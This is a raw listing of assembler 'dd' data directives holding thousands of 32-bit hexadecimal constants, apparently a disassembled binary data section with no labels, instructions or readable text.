5ED2F380h, 3CE84C13h, 0E516ABF6h dd 30C0E380h, 0E6603D87h, 0D3CF02F5h, 5A3C7B8Dh, 0AAA1F880h dd 840059A2h, 0F2FDD9D2h, 164E61h, 8D3429D5h, 196C5DE5h dd 0AE3E9500h, 7A1F67E6h, 61090C6h, 460A638Eh, 88011178h dd 0BC8680C8h, 0E430DD67h, 8B1B00ADh, 296D870Dh, 5B031116h dd 534E1F8h, 0CDFCC8E5h, 0A2CE0055h, 0E03D27D4h, 0A3000D7Ah dd 2126D99Ch, 5C827EBEh, 0FB7BEAE7h, 0C406B61h, 0C511017h dd 77C4C212h, 7500C7F6h, 0A6E77FF1h, 0FD67195h, 1DB49F96h dd 4547820h, 89F83CFCh, 82232Dh, 14A22867h, 88F82C1Eh dd 5C20006Ch, 9C5DE990h, 190078E0h, 0C8A96BD7h, 14D76D9h dd 0E3122F36h, 0D45EBFA1h, 4900370Bh, 7F0F180Ch, 34FB72h dd 83A929C4h, 0E992749Fh, 897C0D00h, 41368F88h, 90C900A3h dd 8EAD12B9h, 0D500FF28h, 8DDBA027h, 0E64DAA9Bh, 416B003Ch dd 0AB73B060h, 4A015BFDh, 0A3DDD7A5h, 7DF456F4h, 1F4F0F2Ah dd 79E1FC22h, 0C0B1E1F6h, 17CF4A7h, 83E27B00h, 0FE789FD0h dd 9459585Fh, 888C4118h, 0B4FECAA4h, 757BD001h, 77E10805h dd 0BAD6E040h, 0BC5037Fh, 53790325h, 9C26EDF0h, 0D0452028h dd 0D14F29FEh, 7042CC40h, 94C328h, 4ACA2377h, 2CB45BD3h dd 0EAEE1B75h, 810A1439h, 7B200F75h, 6430775Ch, 0A6FE072Ah dd 205B38DAh, 0CED9BBF2h, 0D7230D00h, 7C9B480Fh, 4A8700ECh dd 71DDB50h, 5FF8A5D1h, 0D700C776h, 0C1C55517h, 0F79A1A3Ah dd 7E4B0D4h, 10ACD969h, 60BF007Eh, 0DC001F47h, 3A9F68A9h dd 3012C3C0h, 34C848D4h, 8A01C19Ah, 0A0F81AACh, 0D6C46551h dd 93412425h, 0B6EA85CCh, 0A98C00D4h, 1866A0C1h, 0DAB85E00h dd 59EF31FBh, 0F16100D1h, 0C53A2F3h, 84989369h, 901DD71h dd 0B57D472Eh, 8C706F4Bh, 0A02C5042h, 0D6E90077h, 0F0B9D2BFh dd 8800A92Eh, 44241EB2h, 77AE8E4Bh, 0C6E70337h, 322F6DB4h dd 8F3683F4h, 4127CDF8h, 7455C900h, 0BAA5FBC4h, 327B2605h dd 307E0503h, 3AB0A057h, 7627DE0Eh, 0A716E573h, 80D8F04Bh dd 0B9645B11h, 0EF3F1D93h, 0A080AD60h, 22FA3EB3h, 0BC7A71F8h dd 822E0203h, 3970B050h, 17BDBD60h, 0BBF11F8Fh, 31343680h dd 0CB3E16A0h, 0DB96872Ch, 73C062C9h, 28990397h, 0FA4E125h dd 0AC478DFAh, 6FEA9D80h, 9400708Bh, 2AF71AB3h, 1B136AEh dd 2FAB6516h, 0D8C8991Bh, 3100A49Ah, 3388B25Ch, 244958DCh dd 5431475h, 0C7C4AA81h, 0B81740DEh, 1036087h, 6DF047CEh dd 0D300E784h, 79BF542h, 0E39C9389h, 644E2013h, 74003C5Ah dd 7F4061B2h, 0E650DBh, 3A7D1B28h, 0BDCC452Ah, 0F7DA2302h dd 60BE8A19h, 310F313h, 0F0B2A829h, 0B988EC12h, 4F00BF74h dd 1C2A6BDh, 0A0E399h, 0FE8C1D60h, 0BFFB6817h, 0CBD26601h dd 56786735h, 1A8E60h, 4324844h, 0BC16C6B8h, 50B70100h dd 5ADFDA7h, 4FD30046h dd 0D27331D7h, 2000CB38h, 0D695D8EAh, 0F0592B5h, 0C250A50Dh dd 0BFA45560h, 1100384Eh, 0B59D0673h, 0CDBED9h, 69BB10E2h dd 990904A9h, 3DEBA203h, 8039E7EEh, 0D2208Bh, 0A8AE30BEh dd 217C999Dh, 126BA48h, 0CAF393D6h, 0F7F0183Bh, 0A4D55069h dd 41FF0058h, 9D46C62Ah, 0F90176EEh, 619BF319h, 9041E165h dd 8C50C7F8h, 724F45h, 0DF2FFFCFh, 0D3BA7192h, 8FF1B007h dd 17106C3Ch, 1F6C9CBh, 163A6043h, 0D49547A5h, 1A0193FFh dd 5442CDB4h, 9040B927h, 1D6D5880h, 0C0D4F98Ah, 9B364C03h dd 8F0034F7h, 95624B37h, 685ECEh, 706CBA2Ch, 60973DA3h dd 0CCC13Ch, 9E3C1E73h, 3E98BDD6h, 0B1830994h, 0B022D2E5h dd 805CC8B9h, 0C9026F4Ch, 549D7F1h, 926EC4CBh, 2779C03Ch dd 62011B08h, 0F6FE67Ah, 1B20B922h, 26B300DCh, 0A933ABFAh dd 0E7981A70h, 2901BA76h, 49A65101h, 47E44CC3h, 0B21200ADh dd 682B16ECh, 0A003DD0h, 26CD11E1h, 3A7CB13h, 0A074FE07h dd 8C98E25Bh, 0FB040CD9h, 0F1D3569Bh, 4D5D5680h, 0FA740008h dd 19220511h, 0E07B6C9h, 0C5279916h, 6B40D707h, 0CB64FAh dd 3FC65D66h, 14290D19h, 0C2F2750Fh, 70C34044h, 780489h dd 0FEF4966Bh, 0E3EB7D3Eh, 0C55B2200h, 34598BA0h, 5C5E00EFh dd 0C7DE79E5h, 98305D1Fh, 7E92516Bh, 20E86Fh, 2FB57A4Eh dd 6E4B6D43h, 720605Ch, 38E3D370h, 8B3A4F70h, 95961F9Ah dd 4C08B04Ah, 7200ACE0h, 0C4DF14C0h, 9BCAF5h, 94C105EFh dd 0ED6D538Ah, 0D307927Ch, 9ECB5F11h, 0C7C097F5h, 424D2h dd 42FE0E08h, 14BA6ACAh, 3000FEEh, 78C2992h, 682E6FBh dd 0BDC0409Ah, 51770CDDh, 72006CECh, 0ACB091C1h, 103A77h dd 25825AEEh, 8C7D7194h, 4BBFE0C7h, 1A0F80DBh, 0A57412h dd 6E9C4384h, 5D3BCFAh, 0E1D16600h, 7AABEEB4h, 4861009Eh dd 0D08B3B39h, 0CC17FD6Ch, 9700AD0Ch, 2981A14Fh, 702039Bh dd 23F4A898h, 0EE9285A8h, 5A218609h, 7370036Ch, 2EAE887h dd 3BB670A9h, 1907E6A5h, 20AEE370h, 6A3E3F1Fh, 40DD340Fh dd 3BCF408Fh, 2E9A120h, 85833B3h, 3141BC4Fh, 9B2FFC22h dd 2DCB4C07h, 268087B1h, 3B4884CDh, 307F154h, 80C32AE8h dd 7371EDBDh, 0DB70A100h, 5BE984F3h, 0F0B006h, 2728F55Ch dd 54CEC91Fh, 0E57F9A00h, 0C0EE04F8h, 42E7D3Ah, 0FE3DBA18h dd 0FFF6C061h, 28C0A585h, 0F088FC45h, 0D8FD00CDh, 0BEDA49B4h dd 0F103B1BAh, 0F5D1E308h, 85B898C5h, 3EB472ABh, 1400F753h dd 51182687h, 0ED00AAFDh, 1D54B7AEh, 71B8DF7Dh, 87A004Bh dd 0C8161E3Dh, 0BA1EC3A5h, 0D05EFF90h, 0B663B080h, 6C4622h dd 444B4227h, 7BA8BEDDh, 32C6D00h, 0FDBB3980h, 0D8BD1D13h dd 0EC6F4229h, 980095CEh, 0B00B3D16h, 0A2EFE996h, 988B53h dd 63E0E122h, 6E030E3Ch, 0E6406A06h, 0DA5F7124h, 0FB916100h dd 9D753FC5h, 14330040h, 0E8ECC4DBh, 610082D2h, 6D5BBBADh dd 7B55AFC2h, 1858C081h, 0EEE96BC3h, 0E21E7400h, 9E34BA6h dd 0B8D60097h, 7E2368DFh, 3E7AEA38h, 42F85700h, 11CAD23Dh dd 0B51C0078h, 0C5178715h, 4600ED1Eh, 0D78D28F7h, 0A4EEF6h dd 66F47A11h, 0E90E9AB0h, 0CE7FEA00h, 10B2357Bh, 44D002F2h dd 0F341EFADh, 61863A40h, 8A48014h, 42383FC0h, 6CF6072h dd 9B84B16Dh, 996B1B00h, 1A8D984Ch, 7ED9006Fh, 70FDE35Fh dd 0E538A7B7h, 0ECC700EAh, 186A1D6Eh, 0E82E12A0h, 0BF404009h dd 0BDFB538Dh, 11949A00h, 0CDD33E5h, 6AE0002Ah, 0DE54EA7Ah dd 0BF55CA25h, 3B807EBCh, 0F622AC9h, 564EE4E2h, 1F403600h dd 891E58D2h, 4B4978E6h, 0C1008023h, 371D5759h, 39985DCAh dd 0C520B400h, 0A200A185h, 4A075C8Fh, 37E406h, 0AF2B4E1Ah dd 0BB8145CCh, 0ACBD2D03h, 0A0AA58E0h, 3A37F9E1h, 0F2433C6h dd 22770081h, 9F4AFF36h, 5243E600h, 0DA6A23A1h, 4450FECh dd 9B20B2ADh, 244CC578h, 4DF9E90Eh, 1B40DD88h, 99A2F879h dd 0EB223E1Ch, 7FDF5F80h, 443D0DC7h, 0A84C0F12h, 6BC08C00h dd 657892h, 9C332F70h, 0FC8BE2BEh, 4A3F1503h, 110CB5Bh dd 0DED667D0h, 0CF3296B4h, 9844D1A0h, 53C0B500h, 6470CA83h dd 88AE0E5Fh, 3C2E23E4h, 84F8BE0h, 0B24B705h, 5C007CF8h dd 7ACF3CBh, 95B10720h, 0A07C4A82h, 6504A227h, 0EDE73B00h dd 419DBFE0h, 0DFE81FEFh, 73B48096h, 14DB77B2h, 8ADD0F00h dd 9201321Ah, 0C83B0FC2h, 37C0BF85h, 0D8730CF4h, 25345E00h dd 0D71DAE4h, 58E00E6h, 0B20A4F28h, 9A00561Ah, 7518C509h dd 3B1590C6h, 0B883246Eh, 0F7A9E76Fh, 8FF511B8h, 0CE379D02h dd 0C0139162h, 5A5E2Ch, 5740D27Eh, 0FFA6E578h, 0C32C4207h dd 871973A9h, 0D6B53470h, 0A3609F80h, 16F1000Bh, 0F4232D52h dd 3600ECA7h, 751F1B5Bh, 4C636C2Eh, 0FC02A365h, 98F9B9D6h dd 111DC060h, 52901E01h, 0BA0FE84Ah, 0EAC44DCh, 6EA7482Dh dd 0D0D46400h, 0ED7F17DAh, 241CBEA0h, 1698D48h, 0F961C7FBh dd 0A083891Eh, 3151FA2h, 0DE814CE8h, 69C638C0h, 117AAD2h dd 27253532h, 923C46BEh, 4AE6D16h, 0C07691F6h, 0A0065908h dd 6C33F200h, 25D5C611h, 97718h, 9ADA6FBAh, 8DA6BF3Eh dd 0BDE0BD3Eh, 0B05700D1h, 0AE121508h, 0BCD7045Bh, 0C01130D6h dd 0C986597Bh, 64A68800h, 0B7392E20h, 3D417408h, 48A618C7h dd 0DDD51F20h, 6FF840AEh, 0DFC336ABh, 0B1F6311Dh, 2E115D00h dd 5F3DC6Bh, 0B8ADEC81h, 8350C549h, 64D875C2h, 4A16443Fh dd 0B90055CEh, 0C35D2AAAh, 635F0269h, 0FA23CAE7h, 0C5809061h dd 21B6EC4Bh, 48AC4Ch, 0CC5ACF82h, 7723D0Fh, 7C98C56Eh dd 0C4BC1316h, 0F21A8FE8h, 0D3D15E00h, 5BC30897h, 1E9C00A3h dd 9BBB11A6h, 250080E6h, 8ABDEE7Ch, 28A84Fh, 0CFC2E3FFh dd 44ECDEFh, 0A031BB00h, 0A9913DE8h, 0E69F78C6h, 14EE27h dd 591D1244h, 47FEDEC2h, 8B22B000h, 841C5E6h, 7672980Dh dd 0F517407h, 7D8AA7EAh, 0F3F1A60h, 5C072EB7h, 0FF963EA2h dd 0E728D330h, 5894607Ch, 6F3C0507h, 0F18431C7h, 0C05BB811h dd 0A733F8C3h, 0A8140018h, 154EE78Ah, 0D93A8201h, 0EDDC00F4h dd 887EC079h, 38D6EE91h, 0A9009CB2h, 0F124F9A5h, 0FC00B7BFh dd 365DC3F2h, 3AA237F0h, 0AD805794h, 834AE43Eh, 280054B5h dd 84BE5103h, 1056388h, 60F6E31Ah, 0E4738FF4h, 0AB2BA56Ah dd 3F81A01Ch, 74E80F21h, 618FC8EFh, 50B91441h, 3703CD17h dd 2AAB26E2h, 5FC01AC2h, 70396607h, 4A6AB3E7h, 3A06001Eh dd 0AECA35D6h, 492EEDB4h, 0C3B7BC8h, 0F0E5D486h, 10BA0380h dd 0FA9985FEh, 84140907h, 9A80E4DFh, 25D2F2h, 91D7DE97h dd 0E23B5081h, 1A3C5F00h, 0EB6C7942h, 62EE1DCFh, 8B2B1DBBh dd 500F56Bh, 9C18090h, 8C840A01h, 11F8D286h, 89DCC080h dd 20B03A69h, 374F738h, 8785707Fh, 0E702D88Bh, 89C8000Ch dd 94C05A66h, 1C00A2A9h, 2D9CA61Fh, 0F7962h, 5457DEAEh dd 4708B25Dh, 37D88100h, 0D6F32EADh, 0F76C006Eh, 855E72BBh dd 4D0F0E96h, 2E13DA31h, 1BDC208Eh, 18DD17Ch, 7B46FAA9h dd 60564B40h, 0B007845Ah, 36CA1F16h, 0C0A49522h, 0CBEA7Bh dd 1A967830h, 0CF473181h, 52BD5E03h, 0B08C6192h, 48EA6EC1h dd 94003CC3h, 3B1555F7h, 4100BB80h, 0E39CD65Ch, 9F58BDh dd 2BD39387h, 10A00523h, 6A187A00h, 75D01117h, 0C1A1D85h dd 0AC03FFE8h, 0E7977E37h dd 68441FC0h, 61F94300h, 0A3050FE9h, 0F4E65066h, 55B80626h dd 28FCE14Ch, 0AF311B00h, 727EB7E0h, 7BEF0098h, 719A8DC2h dd 9E0106A8h, 6777A2F9h, 0EB6F07h, 7DAD4008h, 0DC87B35h dd 0EDD3CD03h, 806C8DFBh, 583D0h, 10FC51C5h, 7ECCCA63h dd 0E54A6D09h, 8A9E03EEh, 14FDA1D2h, 1886C1F8h, 5847D908h dd 5000382Eh, 0FC8513C5h, 7188F14h, 2808B37Dh, 5316803Bh dd 0C3A031FDh, 6000D1DBh, 7CFEF73Ch, 94CC47h, 1D057201h dd 2AC658B9h, 3E0A4800h, 1B092D64h, 755C0021h, 348D32FEh dd 0F107B5BAh, 58E6C3E3h, 1D3AD10h, 28971244h, 70460313h dd 8398A612h, 2671D20Eh, 436F5800h, 4A0532FFh, 9B270013h dd 0C4647EE0h, 811C48D1h, 0F0810F94h, 70F7CDBAh, 66F053E1h dd 0FC77000Eh, 969D6584h, 0EB7CE957h, 0DFC87D50h, 35503F00h dd 85A4A829h, 1CC4B01Ch, 2C34AAh, 13677FBBh, 3B0011D3h dd 5703C0CFh, 1461D5A5h, 0DAE701F3h, 4A4B6804h, 0EE5C801Ah dd 909850A4h, 61C53E02h, 0C2465AB4h, 0B3E020F2h, 0EC015F0Bh dd 7A00098h, 0BEDFE72Dh, 6C0310FEh, 339134D4h, 3BC4B881h dd 0A6BB0012h, 0C5BEDA1Bh, 9B00D0D5h, 0C66B421Dh, 0EEF902E5h dd 38D81670h, 0C0C11E0Fh, 0FAFE3109h, 1F00468Dh, 1CF1FBF8h dd 1F7F341Eh, 7AE08DCh, 307B5815h, 472EE78h, 77CB6E07h dd 1C51F895h, 29300A12h, 98901363h, 16CD065Fh, 0F66F1094h dd 0ADAFC02Eh, 71383D1h, 2F1FCF5Dh, 0E41AA03Bh, 6924ACAEh dd 0EE00DC12h, 1587456Ah, 0D8DC0037h, 3ADE3B7Ah, 0E260E9F7h dd 27CD2410h, 44CE17Ch, 3A31C03Dh, 2EA287Fh, 5C7910C9h dd 0D361048Ch, 37A890BAh, 0B901E24Ah, 7DAB93C1h, 18E4C298h dd 0E63313A5h, 77D80026h, 9AF3B430h, 0F20160ECh, 0F5A57D52h dd 71C55C01h, 0FF1C4880h, 68361369h, 88E8C27Fh, 5C0042E8h dd 458A6DF2h, 0E3885FAh, 4D9CF023h, 4EC270A0h, 0A500BD56h dd 394A9EBAh, 0CC0DE98h, 70B2A10Eh, 0C248F559h, 0DD3065D8h dd 27BB8C43h, 9F53B08Fh, 2654009Eh, 0A5E29160h, 1600BE0Ch dd 0A2742FA6h, 79D9764h, 0F898A3EFh, 0F7BA637Ch, 0F534C079h dd 60489E17h, 581037h, 0C47C68D6h, 71A101Bh, 0E25F0597h dd 0AEACD0C1h, 2E0044ADh, 7FB13F33h, 4FC52621h, 1192079Fh dd 4ABA80DDh, 790057EDh, 3E047AFDh, 1FEBF2Ah, 0A39491DFh dd 0D8994355h, 0C10049D1h, 0D3A276EEh, 7D3C73h, 0A3504FB1h dd 398631BFh, 7C057B00h, 0CD1FF252h, 0A1A3D44h, 0E882F80h dd 769980A2h, 0CA787975h, 9220DC00h, 9A738433h, 0C7E50048h dd 66C41CEh, 2F00C01Ch, 3B185B13h, 0B2216652h, 42652C8h dd 460530E0h, 0FEEB747h, 0C31FE3F0h, 4B82C9h, 47420F18h dd 46488DAh, 31560600h, 4A77449Dh, 0F8FD017Fh, 0C4562F1h dd 2908CF92h, 10579BA0h, 429488BEh, 0CC2EBB42h, 444E5103h dd 0E744605Dh, 0A8BE44F4h, 6DC12284h, 2F295C60h, 252A17h dd 0DC3EE6B2h, 0F94A397Ah, 5A874100h, 0F5D9FFE9h, 0AA6000E4h dd 0C19E2598h, 92391510h, 0D15B9F68h, 4B5F987h, 86FE6D30h dd 0D7EA1C41h, 84A38024h, 13488EDCh, 7501ED2Eh, 6756D900h dd 0BE75F3h, 194C51B1h, 916D903Dh, 1D0F6500h, 926BC07h dd 0BA2200DAh, 407519C6h, 0D81D437Bh, 0B9CE0250h, 0CDCA802Ch dd 3D9C4FCh, 9C9555C1h, 5B1CF40h, 682DECFEh, 0D0F0A703h dd 8854B443h, 27ABD220h, 0F841F38Dh, 0A5D04031h, 213DF81Ch dd 10350018h, 2A50711Dh, 0D96F0779h, 30989942h, 33B570C9h dd 93458F00h, 9F2C90E7h, 27070125h, 0F505A47Ah, 0A8FEC486h dd 0BF159800h, 0ACB3312Ch, 0ADD301C5h, 0B29E2D49h, 0FF142042h dd 1B891300h, 1A3F2852h, 45CD3F2Ah, 0C52BE381h, 0D85DBF69h dd 7900D5B8h, 0E68D406h, 0A541Dh, 0F8E551ACh, 5727914Eh dd 0AD5A3D00h, 642804F1h, 6C77914h, 8A2AEF65h, 0E200E2A8h dd 9C1D239Fh, 184FF587h, 70E0A232h, 2F003798h, 0DE920512h dd 67F6C6h, 46FFBDABh, 0E8A22C41h, 4A153300h, 561B3E87h dd 44833830h, 0EA059680h, 1E436320h, 0AB00A4F4h, 7F85FB9Dh dd 485ECE03h, 0EE045CEFh, 0EFDCE35Fh, 0D9071C83h, 0EE05117h dd 9F9506F8h, 0A6AC8E55h, 0D7DF0400h, 4EC06A4Ah, 0F14C003Eh dd 322A34F9h, 1600A7E8h, 15FB1A51h, 240BEBh, 0CA926257h dd 0BFBDDC72h, 75A98518h, 0C99A1Ch, 5DC0377Ah, 0DB94357Ch dd 15308700h, 5065FECDh, 0E26C00ACh, 26ECBBA0h, 57003708h dd 0F8427FC3h, 0E3D57Ah, 2E8E3E0Fh, 0B259F9DFh, 18F4C81Fh dd 0E262780h, 2A55C4h, 0B1D6AD63h, 513DAAF2h, 0F3C0495Ah dd 3BB60FE6h, 0E780231Dh, 469CA6A2h, 0D61C819Dh, 30BC3BA1h dd 2652AA30h, 0F13200B5h, 6EC9E809h, 511FCE20h, 860153D9h dd 0B40AD203h, 24012C30h, 80A48D46h, 82DF7F0Bh, 0AC007387h dd 0AFEEA2ABh, 335034D0h, 9510FF98h, 434CB5B0h, 0C1121D00h dd 16ABAE68h, 0D63B07ECh, 0E0D9878Bh, 0BF274C58h, 8147CB00h dd 57E11435h, 0BE12073Fh, 70E47A23h, 82CAA4FBh, 72503B3Ah dd 0FD4BD30Ch, 69C827h, 0D51D8A7Bh, 36FF2EA2h, 6B18BD60h dd 0FC2FEF12h, 6633002Ch, 0C2B3854Ah, 490618D1h, 531FFDE5h dd 8760000Ch, 9D3F95E8h, 0D8004216h, 0B39F685Bh, 987DB0FDh dd 393C1DACh, 0A0F34926h, 52052980h, 0B00E0E5Bh, 4179404Fh dd 4A01667Ch, 7D0AFE9h, 318B00F9h, 5EB872BAh, 0FE00AD77h dd 0A8DC1589h, 785A9444h, 0C19C00A0h, 38A3C529h, 8700CCFAh dd 0A7151458h, 90C7160h, 0A0837301h, 6B07040Fh, 61244017h dd 3700BD10h, 27D596C4h, 3E2BE581h, 7900E22Dh, 0BB2449E1h dd 0E0053A2h, 0BCEE8FF5h, 906E46C3h, 3C1DE4E0h, 0CA8712ECh dd 440B3E4Ch, 1B54805Ch, 0E700D774h, 55B44E38h, 28E857h dd 713A24D8h, 0A464ED2Ch, 6BBF9E00h, 0AD6C20FDh, 70B008Eh dd 0EB24CDE8h, 54509787h, 0E00070B4h, 0D332433Ch, 0D73F13h dd 0AC379A02h, 7C595D0h, 245F7C00h, 425BCC70h, 9B4F0059h dd 0C663CE2h, 0D100362Eh, 0AAC1307Dh, 0E07BFCF8h, 373303EAh dd 806D63B6h, 3AFB92F0h, 9E7C2C71h, 1D00DEE8h, 52E7915Ah dd 4839CBCCh, 73E8EDh, 0EB1BE994h, 9FA21624h, 1E1CD605h dd 53C1FBFCh, 2DD1678Dh, 18E1420h, 526EECFAh, 0E89B9184h dd 0D400A794h, 1E42414Fh, 7FF6C3h, 0A318E096h, 0E10206FAh dd 0AFC0920Bh, 76640070h, 0F6CED0A9h, 36D30974h, 308050D7h dd 68880D34h, 0AF84FE50h, 2AE61000h, 8F5DD9E7h, 43C90BD5h dd 80DDBBCEh, 8DD315DFh, 0C2FA1F7Ch, 0CF6F000Fh, 709A4457h dd 0F50AA073h, 0DC7FD02Ah, 755C0404h, 3DE8E480h, 0FEE2443h dd 85F30004h, 5E16DFF7h, 0B3A6F000h, 0E8DB3730h, 0DD1B006Ah dd 62610F17h, 7200BB11h, 931F1377h, 7AB42h, 0C80EB0CAh dd 0D7326D7h, 9D3F100h, 9D7CBBBFh, 3E3D24E5h, 660C001Eh dd 0D2B13B06h, 0E8B26Eh, 37AC76B3h, 822458D4h, 899B7A00h dd 0B8C54002h, 0B4553207h, 78A339ECh, 69E100FEh, 134A5A61h dd 0EF4C9D71h, 6CBE0148h, 81BD565Fh, 878E884h, 12DD38DBh dd 4CB6001h, 803EBAEDh, 56C82D60h, 4D809107h, 0B5E0DA4Fh dd 9F85E92h, 2BFB2F23h, 0A23E1802h, 404BC441h, 0CB249E8Eh dd 2C444Ch, 381495Fh, 0BC320Ch, 6A3483E4h, 9CB2E996h, 0D55CA300h dd 6B3AC487h, 0C29B0403h, 0C04161AAh, 45E8C0B4h, 0FC58B4B0h dd 9ECA0059h dd 0A4F326E2h, 9209037Dh, 81C26C8Ch, 9A4BB5C8h, 8142F63Fh dd 0BCAB1BFAh, 0DF605159h, 7FF4C12h, 2903A848h, 0B62E019Fh dd 62F2301Dh, 520CF5A4h, 4C1920AAh, 2800689Fh, 1C7D9312h dd 46007027h, 0F0DBE24Ch, 0CE8D23h, 0E6853CC6h, 625B71D9h dd 0C12C54E2h, 4E00DC7Ch, 0C835B2B7h, 26B5046Fh, 0A015593Fh dd 782EB32Ch, 0F3835873h, 55BED2h, 88281E79h, 20F7B4B3h dd 0C09B1B00h, 53472275h, 0A53D003Bh, 8C6B39B9h, 6F00FED6h dd 0AE9894DCh, 3308A2h, 3EA883D4h, 36B887A4h, 807AD03Dh dd 0C39DBDF3h, 17F497h, 0AAE6A14Dh, 3C010399h, 78008970h dd 8525BB72h, 0EDD2386Bh, 0F5AAECh, 65242DBAh, 1E6066C4h dd 6E69A400h, 7D0DD662h, 30A11D8Ch, 52E603B7h, 86E19173h dd 0E8007388h, 0B8B18681h, 0D7BCC180h, 0E45D6Bh, 0B2050864h dd 3F796866h, 7E9F5C00h, 6CAF209Dh, 0A61C05D1h, 889AA1h dd 0E9F278D9h, 0C31D06F6h, 92007B40h, 73950EE4h, 25910E35h dd 0BA805747h, 859B3B8Fh, 7654B01h, 8B42B64Eh, 0CBE8A6h dd 0EF5F3F45h, 7C00B233h, 929BE2CAh, 0FC485557h, 26847B2Ah dd 80F0246Ah, 37B9BDDFh, 300143C3h, 59E05B21h, 0B37089D7h dd 809630FEh, 0E81808E8h, 651D1F84h, 2D449A0h, 0BABD0400h dd 8701B884h, 6CF5C314h, 5EF1924Eh, 54DDC8FFh, 5FD00268h dd 31793F29h, 22533C49h, 7DC104F8h, 809002A3h, 12DD1EDEh dd 410B78h, 4EBBDC28h, 0D008A93h, 357D05D7h, 73246173h dd 0B44B001Dh, 2CE040FFh, 66507916h, 64002398h, 5A8B67C4h dd 0F329B38h, 3F838263h, 54297560h, 680143D3h, 53D7BD69h dd 20FB7D2Dh, 107E5099h, 1B2643F0h, 0FA002541h, 2FFC522Ah dd 44671330h, 0C470098h, 384093C4h, 0E650F00h, 0C8EE7327h dd 0A8BD1753h, 365800B7h, 668CADBEh, 1D4DA503h, 0CB11B439h dd 0B030485Bh, 5D833506h, 75E2807Eh, 27D6400h, 3BA9E30Bh dd 7867191h, 36ADA25h, 0B2C3E0ACh, 0B800E9ABh, 7BC136F4h dd 0BCE548h, 0D8E3270Fh, 53E2EE1Dh, 60013498h, 9CA09A8Ch dd 0B87082D3h, 7F0C02A5h, 0FAF54772h, 0F2BFF8E8h, 509F45F0h dd 4EBC00E8h, 4B62ACADh, 612C99C2h, 8F000A16h, 664414CCh dd 7558007Ch, 0BF6CC402h, 71755A6Fh, 677B2B00h, 9916A552h dd 2DE88Bh, 476DCE9Eh, 876B3521h, 2F171903h, 98394E59h dd 69FCC3h, 9FEC3252h, 4C1DFFAEh, 2BA13A07h, 40700F6Ah dd 3ABF4BE2h, 2E80D1C1h, 0B6ED5B81h, 9B00F010h, 0DE8A183h dd 174A5BAh, 769CA3ECh, 0F8D23F6Eh, 1C13300Fh, 0E402DD40h dd 4059A4A9h, 77015018h, 562500E4h, 1CE94819h, 4C002A3Bh dd 55B56077h, 0EC748CC3h, 7863DDAh, 0F8385FB0h, 0DC1C1147h dd 6BC08204h, 6ABC87B2h, 0D87C54D0h, 5447BDAh, 0B7C24AF8h dd 821C21Ah, 0F1E2BC40h, 5313BB00h, 2434C36Ah, 1C150162h dd 25C6F952h, 0FCA0F295h, 584DC9BDh, 4B703600h, 47C51059h dd 5D260098h, 6F17FA8h, 0BB012227h, 0B513015Ch, 0E0ECD180h dd 9D9E00B8h, 6D94D81Ch, 933D19BEh, 3B4081B2h, 0A9047C2h dd 0BD698C7h, 2F140059h, 0EABB244Eh, 0E4E4DADCh, 9C6E940Bh dd 5A448339h, 2EDFE0BFh, 0F98100CBh, 30BB8AF4h, 0A50F1C05h dd 0A04F9EC7h, 0F316C135h, 0E24E9Fh, 24543468h, 63482174h dd 6DB2003Ch, 857179BBh, 4E030E1Ch, 0F065EF59h, 0ACD814FEh dd 5525EE09h, 0C3A18800h, 6C2001AFh, 1263F07Ah, 1FA56471h dd 0FD2C0B7h, 342BA6A3h, 101049h, 25478C44h, 1CBADFEh dd 5F54A330h, 60A4F43Bh, 6E068764h, 0F9E11B0Eh, 0A0CE0010h dd 2E095766h, 7501B302h, 6D907012h, 9460BECDh, 27DD02BFh dd 9554215Ah, 80DC28E1h, 3D9B3A11h, 2A1A8Bh, 6EED7B41h dd 682458AAh, 61701100h, 38740943h, 0B3530045h, 0AFDE6C2h dd 0B10084A5h, 0F99DFE9Bh, 3AAD6Bh, 287BD73h, 76D02E8Dh dd 0AB66BB00h, 6EFF1165h, 74C83B94h, 82CE5700h, 1FD3E868h dd 40B89175h, 9964C00Fh, 0BEC280F3h, 2FEE453h, 1B3425C4h dd 516057D5h, 0E300ADD6h, 2CFCF2EDh, 0B6FDFE5h, 0E4F08F5Dh dd 8373D8A0h, 55E6F4EEh, 88143900h, 81DAAD9Ch, 5C96A4h dd 51BEA9C6h, 0C700171Ch, 0CBCD7EF8h, 30712Ch, 4041E797h dd 0DCEFA263h, 0D90025F4h, 29346AF7h, 190BDBFh, 1DAB914Ch dd 0D8A999ECh, 0A50988BEh, 8061D6A0h, 7C134118h, 276F1C8Ch dd 3E8AE07h, 1ECA380h, 8056103Fh, 0A98ADCBCh, 7E393606h dd 459709D4h, 0B954EFB4h, 31DBCF00h, 28D9DC1h, 2D543A38h dd 0E86824FCh, 0D000881Ch, 636976ECh, 4EAF9C0Eh, 86780047h dd 4E1061F9h, 0D018C64Fh, 632390h, 5268C1FAh, 0A562E26Bh dd 0E47D1C90h, 0B05DAC05h, 880018A0h, 1B55DC81h, 18777B62h dd 18409FC0h, 0C8A0E990h, 0EF00B518h, 1E84D525h, 300641h dd 0CCEE02B2h, 0A29C1324h, 67004DFCh, 0EDE10B49h, 4C7B62DFh dd 0FB033873h, 0C5D1F0ACh, 31A219A8h, 0A4C48300h, 98266E8Fh dd 4B250029h, 9A2EAE4Fh, 0D13C3AF4h, 4E308045h, 0A397B744h dd 2C1F0066h, 5D998A72h, 3A004977h, 247ED67Bh, 0FAE027h dd 0A1FC8BF9h, 14BC9D90h, 6F307200h, 615FD6D3h, 8F3F00A5h dd 6A3593EBh, 0E8013ABDh, 12492480h, 2609A9Fh, 6FC8004Eh dd 0E17129F3h, 0B8B80EF6h, 9CA9BF00h, 79C41253h, 479800F8h dd 5224EA6h, 5907FEF5h, 7DFCD91Fh, 0C83D4A50h, 0C2E80099h dd 415472Fh, 895821BEh, 80BA3ED3h, 0F5B8ABFEh, 142CD8h dd 0E70E268Ch, 0A4DC66C8h, 139D5700h, 4EC9A0CAh, 0F2B600C7h dd 67E05D8Dh, 0FA00FD2Dh, 6610D9DCh, 3A2CDF7h, 70ACAFDBh dd 848007C7h, 0DE002ECBh, 443C8826h, 4D9EB2Ah, 0F56D307Eh dd 0CD72805Bh, 8500819Fh, 1284A91Ah, 0FE8B2FC6h, 9075000Eh dd 0A5EABE16h, 0AB0ED80Dh, 3E7602F3h, 5C28E94Fh, 0B9D71001h dd 0C0E2C667h, 0A24E7h, 0B6659172h, 961AC47Fh, 760B9401h dd 74418E02h, 0E251B70h, 95BB0388h, 0B0EFEBCFh, 0F6E08Fh dd 0FBC9DF4Bh, 11E8FC26h, 28F2B500h, 2521D8F8h, 